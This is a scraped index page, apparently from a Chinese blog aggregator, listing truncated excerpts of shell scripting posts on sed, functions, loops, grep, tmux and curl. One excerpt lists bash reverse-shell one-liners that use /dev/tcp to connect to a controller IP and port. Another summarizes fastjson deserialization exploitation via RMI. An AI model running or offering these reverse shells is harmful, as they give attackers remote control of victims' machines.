socat shell tmux

shell 之 使用sed替换文本中某个字符串

#!/bin/bash if [ $# -lt 3 ] then echo "Usage:$0 <old_string> <new_string> <file path>" exit 1 fi old_string=$1 new_string=$2 file_path=$3 if [ -f "$fi ......
字符串 字符 文本 shell sed

shell 编程(7)之函数

###函数使用 创建函数 使用function function name { commands } 脚本中定义函数必须有唯一的名称 类似编程语言 name() { commands } 函数的使用 只需要在行中指定函数名即可 变量在函数中 向函数传递参数 使用标准参数环境变量来进行传参,例如,函数 ......
函数 shell

shell 编程(6) 之结构化控制

for 循环 列表中的值出现特殊符号时,使用引号将其括起来,以免出现歧义。当列表的值出现引号或空格时,就会出现歧义 语法: for <VARIABLE> in <LIST> do <COMMAND>.... done 1. 从变量中读取列表值 #!/bin/bash/ city="China Jap ......
结构 shell

linux运行shell脚本报错,提示syntax error near unexpected token `$'{\r''异常

最近运行一个shell脚本的时候,发现报syntax error near unexpected token `$’{\r’’ error。字面意思上看是换行符出现问题 用vim -b 查看,发现每一行多了~M解决方法:sed -i 's/\r//g' xxx.sh这样脚本就可以运行了——————— ......
脚本 unexpected 39 syntax linux

shell报错:bash:./xxx: 无法执行二进制文件: 可执行文件格式错误

shell报错:bash:./xxx: 无法执行二进制文件: 可执行文件格式错误 在ubuntu下运行一个可执行文件,但是出现错误: 由于文件已经拥有可执行权限,遂考虑是不是该文件编译时的CPU指令集和我的平台不同。 于是用file命令查看文件格式: 破案了,该文件是一个Windows下的可执行文件 ......
文件 二进制 错误 格式 shell

01 Shell基础

Shell语言基础 Shell定义 Shell又称命令解释器,能够识别用户输入的各种命令,并传递给操作系统。在UNIX或Linux中,Shell既是用户交互的界面,也是控制系统的脚本语言 Shell的分类 Bourne Shell:标识为sh,在许多Unix系统中,该Shell是root用户默认的S ......
基础 Shell 01

android apk 执行shell命令和Permission Denied 解决办法

/** *Android 11之后,如上诉原因,执行报错,没有权限, *解决方法,root或者debug版本,执行setenforce 0 关闭selinux即可, user 版本仍然不行,无法解决,如图看能否解决 * 执行一个shell命令,并返回字符串值 * * @param cmd * 命令名 ......
Permission 命令 android 办法 Denied

MySQL Shell 工具安装使用

详解转载: https://www.xmmup.com/mysql-shellgongjujieshao.html 下载: wget https://dev.mysql.com/get/Downloads/MySQL-Shell/mysql-shell-8.0.29-linux-glibc2.12- ......
工具 MySQL Shell

shell使用--sort和uniq

sort常用来进行排序 sort命令是帮我们依据不同的数据类型进行排序,其语法及常用参数格式: sort [-bcfMnrtk][源文件][-o 输出文件] 补充说明:sort可针对文本文件的内容,以行为单位来排序。 参 数: -b 忽略每行前面开始出的空格字符,从第一个可见字符开始比较。 -c 检 ......
shell sort uniq

[shell] 读取多行输出到数组/遍历awk输出的某一行

效果 想要达到的效果为,使用awk切分输出后,遍历每一行的输出。以下以ls -lh命令示例,遍历输出ls -lh命令的第一列输出。实际使用替换ls -lh 演示 1. 存放到数组后遍历数组 第一种方式, 简约但不推荐 https://github.com/koalaman/shellcheck/wi ......
数组 一行 shell awk

【shell】 curl 命令

Get #直接拿值 nodes_account_info=`curl --header "Content-Type:application/json" -k -sS \ --header "X-Auth-Token:$MATRIX_TOKEN" --request GET \ --url "http ......
命令 shell curl

fastjson反序列化:利用RMI服务反弹恶意java类shell

攻击主机环境的更换 在一台kali上首先默认的java环境是OPENjdk,这个版本的功能相对较低,所以利用起来功能不多,需要更换java环境 查看当前的java环境:有一条提示信息不用管不影响 删除现在已有的环境 apt-get purge openjdk-* 从上一台已经复现的靶机下载java环 ......
序列 fastjson 恶意 shell java

shell语法

Shell脚本一般是以sh结尾,比如test.sh,也可以用其他结尾 执行shell脚本: 1. sh test.sh 2. ./test.sh (这个需要给脚本赋予可执行的权限 chmod +x test.sh) 定义变量: name=”test” age=18 class=(“1ban” “2b ......
语法 shell

shell脚本获取当前目录

way=$(dirname $(pwd)) echo $way echo $(pwd) #当前路径 echo $(dirname $(pwd)) echo $(dirname $(dirname $(pwd))) #上上层路径 echo $(dirname $(dirname $(dirname $ ......
脚本 目录 shell

linux shell基础--终端显示字体背景和字体颜色\033[0;30m

ANSI标准 ANSI标准规定了一种所有终端共享的指令集,并要求用ASCII的数字字符传递所有数值信息,用于控制linux终端上的光标位置、颜色和其他选项。在文本中嵌入确定的字节序列,大部分以ESC转义字符和"["字符开始,终端会把这些字节序列解释为相应的指令,而不是普通的字符编码。终端颜色就是AN ......
字体 终端 颜色 背景 基础

tmux

Tmux的使用 实习练习抓包的过程中,经常需要保证一条命令在窗口下持续运行(通常情况下如果关闭终端,则相对的命令也会关闭),此时就必须要用到tmux了 ###安装 安装的话本人是基于Fedora,可以直接通过下面的命令进行安装,不同的os应该差别不大 dnf install -y tmux 基本使用 ......
tmux

反弹 shell 命令

bash bash -i >& /dev/tcp/[控制端IP]/[控制端监听Port] 0>&1 exec /bin/sh 0</dev/tcp/[控制端IP]/[控制端监听Port] 1>&0 2>&0 exec 5<>/dev/tcp/[控制端IP]/[控制端监听Port];cat <&5 | ......
命令 shell

实验3 简单shell的设计和实现

Unix实验报告 实验: 实验3 简单shell的设计和实现 专业: 计算机科学与技术 班级: 1班 姓名: 姚怀聿 学号: 22920202204632 2022年11月5日 目 录 一、 实验内容描述 2 二、 设计、实验构思 2 三、 实验结果 7 四、 实验心得与建议 9 五、 完成人姓名及 ......
shell

Springboot 系列 (25) - Springboot+HBase 大数据存储(三)| HBase Shell,HBase REST 服务 和 Phoenix 组件

在 “Springboot 系列 (24) - Springboot+HBase 大数据存储(二)| 安装配置 Apache HBase 和 Apache Zookeeper” 里我们安装配置了 Apache HBase 和 Apache Zookeeper,本文将介绍 HBase Shell,HB ......
HBase Springboot 组件 Phoenix 数据

InfluxQL shell

设置 InfluxDB 连接 创建一个新的 CLI 配置 # influx config create --config-name wgs-02 --host-url http://localhost:8086 --org wgs --token 59fSTydF26m1P34QUVE3EtAUPb ......
InfluxQL shell

深入学习shell命令-grep

grep 命令格式 man grep 对 grep 命令的说明如下: grep - print lines matching a pattern grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTERN | -f FILE] [FILE. ......
命令 shell grep

解决VSCode新建终端自动时执行`pyenv shell xxxx`

问题 今天发现 VSCode 新建一个内置终端时会自动运行 pyenv shell xxx,实际上这并不是我自行配置的。 解决方案 打开 VScode 用户配置文件 settings.json,新增一行内容: "python.terminal.activateEnvironment": false ......
终端 VSCode pyenv shell xxxx

shell编程语言-linux主机禁止ping

首页 新闻 博问 专区 闪存 班级 linux--穿越地平线的渴望 只要你在爬,就一定会留下让你自己感动的日子,如果我们的生命不为自己留下一些热泪盈眶的日子,你的生命就是白过的——致青春! 博客园 首页 新随笔 联系 管理 Linux禁止ping以及开启ping的方法 Linux默认是允许Ping响 ......
编程语言 主机 语言 shell linux

shell判断字符串结尾

下面围绕“判断字符串是否以.txt结尾”展开。转变一下也同样适用于“判断字符串是否以.txt开头”。 通用的方法 # 方法一、使用grep命令 #!/bin/sh str="/path/to/foo.txt" # 使用if语句 if echo "$str" | grep -q -E '\.txt$' ......
字符串 字符 shell

BASH: disable shell builtin

enable Use the `env` command. Env is a command which launches another program with a possibly modified environment. Because env is a program, it doesn ......
disable builtin shell BASH

shell编程-FTP服务账号的批量设置

FTP账号配置:应用背景:安装vsftpd服务程序:echo “HELLO hello” >/ftproot/bjtt/a.txt是目录权限导致:OOPS错误验证bjtt_upload的权限:验证bjtt_download的权限:脚本实现: ......
账号 shell

详解shell语法检查模式

启用 verbose 调试模式 在进入本指导的重点之前,让我们简要地探索下 verbose 模式。它可以用 -v 调试选项来启用,它会告诉 shell 在读取时显示每行。要展示这个如何工作,下面是一个示例脚本来批量将 PNG 图片转换成 JPG 格式。 将下面内容输入(或者复制粘贴)到一个文件中。 ......
语法 模式 shell

Linux shell set command All In One

Linux shell set command All In One https://FreeBSD.org erros ❌ unbound-variable # $1: unbound variable if (($1)) then echo $1 # arg=$1 # tsGenerator $ ......
command Linux shell All set

Linux shell script auto generate batch files All In One

Linux shell script auto generate batch files All In One Linux shell script 自动批量生成文件 原理分析 定义成全局 cli command 接收参数 使用循环,动态批量生成文件 读取 template npm 发布 demos ......
generate script Linux shell batch

shell脚本中实现多线程

#并发大小 threadNum=10 concurrent_common(){ fileName=$1 #生成临时管道文件 mkfifo sdbfifo exec 7<> sdbfifo rm -rf sdbfifo for i in $(seq 1 ${threadNum}) do echo >& ......
线程 脚本 shell